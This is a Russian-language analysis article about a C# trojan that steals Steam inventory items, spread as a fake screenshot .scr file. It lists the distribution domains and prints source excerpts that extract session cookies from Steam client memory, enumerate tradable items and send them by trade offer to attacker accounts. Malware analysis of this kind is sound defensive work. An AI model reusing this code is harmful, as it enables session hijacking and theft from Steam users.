Хотя про этот троян известно достаточно давно, настоящую массовость он приобрел в конце ноября.
Интересно в нем то, что вместо обычной кражи логинов и паролей, от которой можно вполне просто защититься, он напрямую ворует предметы из инвентаря Steam.
Компания Valve давно в курсе проблемы, но каких-то особых действий за несколько месяцев так и не предприняла, хотя текущую волну можно без проблем остановить небольшими изменениями в клиенте Steam.
В инвентаре Steam хранятся предметы из нескольких популярных игр Valve, некоторые из которых могут стоить весьма внушительную (по меркам цветных пикселей) сумму. Также в нем хранятся предметы связанные с самим Steam (подарочные копии игр, фоны профиля, смайлы и т.п.).
Заражение
Заражение происходит следующим образом. Ничего не подозревающему пользователю приходит сообщение, в котором содержится ссылка на якобы скриншот инвентаря, с предложением обменяться предметами. После перехода по ссылке автоматически начинает загружаться файл .scr, имеющий иконку, которая выглядит как миниатюра изображения. Учитывая, что по-умолчанию в Windows показ расширения выключен, а если даже и включен, .scr вполне может быть воспринято как «screenshot», выглядит всё весьма правдоподобно.
После запуска файла троян распаковывает из ресурсов картинку и открывает её (на картинке действительно скриншот инвентаря или какого-нибудь предмета). Некоторые из модификаций прописываются в автозапуск.
Параллельно с этим троян извлекает cookies из памяти клиента Steam, делает запрос на steamcommunity.com для получения идентификатора сессии, ищет в инвентаре подходящие предметы и отправляет их через «Trade Request» на заранее подготовленные аккаунты злоумышленников.
К слову, во время написания этой статьи, я нашёл еще один вариант трояна (очевидно, основанный на публичных исходниках), который был написан немного иначе и обладал дополнительными функциями, например, рассылкой сообщений через список друзей.
Кстати, оригинальное имя собранного файла было «Maksim Steam Offer.exe», о чем мне любезно сказал рефлектор, а идентификатор профиля, на который идут украденные предметы — 76561198009197365. Домен, с которого троян распространялся (и на момент написания распространяется) — «puush-me.com» (для тех, кто решит поиграть в детектива, заходить из под виртуальной машины). И да, он там необфусцированный.
Несколько доменов, которые мне удалось собрать:
take-screen.org
fastscreen.org
my-screenshot.net
puush-me.com
picturesfast.net
screen-url.com
Что примечательно, большинство из них зарегистрированы у русских регистраторов.
Ковыряем исходники
Сам троян написан на C#, что весьма необычно для подобного рода ПО. В скачанных мною с просторов интернета исходниках было несколько файлов: WinApis.cs, содержащий несколько методов для работы с winapi.cs, Http.cs, содержащий методы для эмуляции запросов от клиента steam (вплоть до последнего хедера) и Program.cs, в котором и происходило всё действие.
Занимательно, что общий объем кода — всего около 500 строк.
Cookies из памяти клиента обе вариации трояна получают следующей регуляркой:
MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(preparedIDs);
Затем, используя полученные cookies, отправляется запрос на steamcommunity.com для получения идентификатора сессии, для чего в Http.cs есть отдельный (и весьма немаленький) метод.
Получив идентификатор, троян, используя api steamcommunity, получает содержимое инвентаря:
private static List<string[]> GetItems(string steamID, string appID)
{
List<string[]> items = new List<string[]>();
while (true)
{
string link = "profiles/" + steamID + "/inventory/json/" + appID + "/2/";
string json = Http.SteamWebRequest(cookiesContainer, link, null, "");
try
{
JObject inventory = JObject.Parse(json);
if (((inventory.SelectToken("success") != null) && ((bool)inventory.SelectToken("success"))) &&
(inventory.SelectToken("rgDescriptions")).First != null)
{
IJEnumerable<JToken> descriptionsBase = inventory.SelectToken("rgDescriptions").Values();
foreach (JToken eachItem in inventory.SelectToken("rgInventory").Values())
{
JToken infoAbout = descriptionsBase.Where(each => each["classid"].ToString() == eachItem["classid"].ToString()).First();
if (infoAbout["tradable"].ToString() == "1")
{
string[] item = new string[] { appID, eachItem["amount"].ToString(), eachItem["id"].ToString(), infoAbout["market_name"].ToString(), infoAbout["type"].ToString().ToLower() };
if (!items.Contains(item)) { items.Add(item); }
}
}
}
break;
}
catch { return null; }
}
return items;
}
Cортирует его по заданным фильтрам:
listed = FilterByRarity(listed, "common,");
private static List<string[]> FilterByRarity(List<string[]> input, string filter)
{
string[] filters = filter.Split(',');
List<string[]> output = new List<string[]>();
for (int i = 0; i < input.Count; i++)
{
for (int x = 0; x < filters.Length; x++)
{
string[] types = input[i][4].Split(' ');
for (int c = 0; c < types.Length; c++)
{
if (types[c] == filters[x] && !output.Contains(input[i]))
{
output.Add(input[i]);
break;
}
}
}
}
return output;
}
И подходящие предметы (часто весьма недешевые) отправляются на предварительно подготовленные аккаунты:
private static string sentItems(string sessionID, string items, string[] Offer)
{
return Http.SteamWebRequest(cookiesContainer,
"tradeoffer/new/send",
"sessionid=" + sessionID +
"&partner=" + Offer[0] +
"&tradeoffermessage=&json_tradeoffer=%7B%22newversion%22%3Atrue%2C%22version%22%3A2%2C%22me%22%3A%7B%22assets%22%3A%5B" + items +
"%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%2C%22them%22%3A%7B%22assets%22%3A%5B%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%7D&trade_offer_create_params=%7B%22trade_offer_access_token%22%3A%22" + Offer[2] + "%22%7D",
"tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]);
}
Мера предосторожности одна — используйте linux не открывайте присланные незнакомыми людьми ссылки и пользуйтесь антивирусами (они его прекрасно детектируют).
Автор: akaluth